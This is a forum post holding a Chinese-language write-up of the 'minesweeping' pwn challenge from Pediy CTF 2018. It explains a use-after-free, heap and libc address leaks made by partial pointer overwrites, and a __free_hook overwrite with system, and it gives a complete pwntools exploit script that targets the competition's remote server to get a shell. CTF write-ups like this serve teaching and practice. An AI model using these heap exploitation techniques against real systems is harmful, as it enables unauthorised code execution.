首页
社区
课程
招聘
[原创] 第十四题 PWN-minesweeping WriteUp
2018-7-13 23:06 2791

[原创] 第十四题 PWN-minesweeping WriteUp

2018-7-13 23:06
2791

Pediy CTF 2018 - Minesweeping Writeup

程序分析

这个程序实现了一个扫雷小游戏,首先根据time(0)初始化随机数,然后在64个格子中随机生成30颗雷,接着在外面补上一圈0,按照扫雷的规则生成所有没有雷的格子中的数字。玩的时候使用explore命令,输入三个数字,前两个表示坐标,第三个0来挖开,1来标雷。赢了之后会有一个name的输入。

 

程序还有一个feedback功能,可以任意分配堆块,输入后立即free掉。

漏洞利用

有一个比较明显的Use-After—Free漏洞,在用out功能退出游戏的时候没有清空游戏区域的指针

    if ( v6 == 2 )                              // out
    {
      free((void *)game_ptr->init_map);
      free((void *)game_ptr->user_map);
      game_ptr->play_flag = 0LL;
      free(game_ptr);
      return __readfsqword(0x28u) ^ v7;
    }

配合上feedback功能,可以实现游戏结构体的覆盖。
游戏结构体大概是这样:

struct game 
{
    qword* used_steps;
    qword  play_flag;
    byte*  user_map;
    qword  win_flag;
    byte*  init_map;
    byte*  name_ptr;
}

这个题目的难点在于泄漏地址,整个程序能打出堆上的数据的功能可能只有每一步扫雷的时候打印地图,和一个打印step的功能(打完之后立即退出)。可以注意到,程序中读入字符串的功能是不补零的,又因为堆地址的后1.5字节是不随机化的,所以可以对game结构体进行部分覆写,覆盖到user_map域(用户标雷的0 1数组)的最后两字节,使得user_map域指向打印出的map的某一行的指针,再将其进行标雷就可以加减这根指针。又由于堆上存放着堆指针,则可以调整过去,将堆指针的奇偶位分别打出来,拿到堆地址。(不知道为什么,在远程机器上拿到的是7F开头的地址,难道14.04的堆在libc后面吗= =)
之后back出来,利用malloc consolidate,分配一块small bin,堆上会出现libc中main arena的地址。对前一次的操作如法炮制得到libc地址。
拿到地址之后覆写game结构体,将name指针改为free hook的地址,win_flag改为1,让自己立即赢,赢了之后留名,将system地址写入free hook。最后利用feedback功能,free("/bin/sh\x00")拿到shell。
这个方法有很大的不确定性,要猜一个堆地址的倒数第2字节,而且要猜第一个不是雷的坐标,所以我写了个循环不停的跑= =

exp

from pwn import *

libc=ELF('./libc.so.6')
#p=remote('139.199.99.130',8686)
def start():
    p.sendline('1')
    p.recvuntil('----------------------')
def out():
    p.sendline('out, ')
    p.recvuntil('$')
def feedback(size,mess,full=0):
    p.sendline('2')
    p.recvuntil('input the length of your feed back:')
    p.sendline(str(size))
    if full:
        p.send(mess)
    else:
        p.sendline(mess)
def explore(x,y,z):
    p.sendline('explore')
    p.recvuntil('input x,y,z')
    p.sendline(str(x)+', '+str(y)+', '+str(z))

while True:
    try:
        #p=process('./minesweep')
        p=remote('139.199.99.130',8686)
        p.recvuntil('$')
        start()
        out()
        c=0xa1
        x=1
        feedback(0x30,p64(1)*2+chr(0x40-x+1)+chr(c))
        start()
        p.recvuntil('----------------------')
        p.recvuntil('----------------------')
        for i in range(23):
            explore(1,x,0)
            p.recvuntil('----------------------')
            p.recvuntil('----------------------')
            p.recvuntil('----------------------')
        explore(1,x,0)
        p.recvuntil('----------------------')
        p.recvuntil('----------------------')
        p.recvline()
        addr = p.recvline()
        print addr.encode('hex')
        explore(1,x,0)
        p.recvuntil('----------------------')
        p.recvuntil('----------------------')
        p.recvline()
        addr2 = p.recvline()
        print addr2.encode('hex')
        if "*" in addr2:
            raise Exception("GG")
        heap_addr =0
        heap_addr += ord(addr[0])
        heap_addr += ord(addr2[3])<<(8*1)
        heap_addr += ord(addr[3])<<(8*2)
        heap_addr += ord(addr2[6])<<(8*3)
        heap_addr += ord(addr[6])<<(8*4)
        heap_addr += ord(addr2[9])<<(8*5)
        print hex(heap_addr)
        for i in range(207):
            explore(1,x,0)
            p.recvuntil('----------------------')
            p.recvuntil('----------------------')
            p.recvuntil('----------------------')
        heap_base = heap_addr & 0xfffffffffff000
        info("heap:0x%x",heap_base)
        p.sendline('back, ')
        feedback(512,'aaaaaaaaaaaaaaaa')
        feedback(48,p64(0)+p64(1)+p64(heap_base+0x141-x+1)+p64(0)+p64(heap_base+0xf0)+p64(heap_base+0x50),1)
        start()
        p.recvuntil('----------------------')
        p.recvline()
        addr = p.recvline()
        explore(1,x,0)
        p.recvuntil('----------------------')
        p.recvuntil('----------------------')
        p.recvline()
        addr2 = p.recvline()
        print addr2.encode('hex')
        p.sendline('back, ')
        feedback(48,p64(0)+p64(1)+p64(heap_base+0x140-x+1)+p64(0)+p64(heap_base+0xf0)+p64(heap_base+0x50),1)
        start()
        p.recvuntil('----------------------')
        p.recvline()
        addr = p.recvline()
        explore(1,x,0)
        p.recvuntil('----------------------')
        p.recvuntil('----------------------')
        p.recvline()
        addr = p.recvline()
        print addr.encode('hex')
        lib_addr = 0
        lib_addr += ord(addr2[0])
        lib_addr += ord(addr[3])<<(8*1)
        lib_addr += ord(addr2[3])<<(8*2)
        lib_addr += ord(addr[6])<<(8*3)
        lib_addr += ord(addr2[6])<<(8*4)
        lib_addr += ord(addr[9])<<(8*5)
        info("lib:0x%x",lib_addr)
        libc_base = lib_addr - libc.symbols['__malloc_hook'] - 0x88 + 0x10
        info("libc_Base:0x%x",libc_base)
        free_hook = libc.symbols['__free_hook']+libc_base
        p.sendline('back, ')
        feedback(48,p64(0)+p64(1)+p64(heap_base+0x140-x+1)+p64(1)+p64(heap_base+0xf0)+p64(free_hook),1)
        start()
        explore(1,x,0)
        p.recvuntil('hero')
        system = libc_base + libc.symbols['system']
        print hex(system)
        p.sendline(p64(system))
        p.sendline('back, ')
        feedback(0x10, "/bin/sh\x00")
        p.interactive()
    except Exception:
        p.close()
        continue

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2018-7-13 23:07 被acdxvfsvd编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回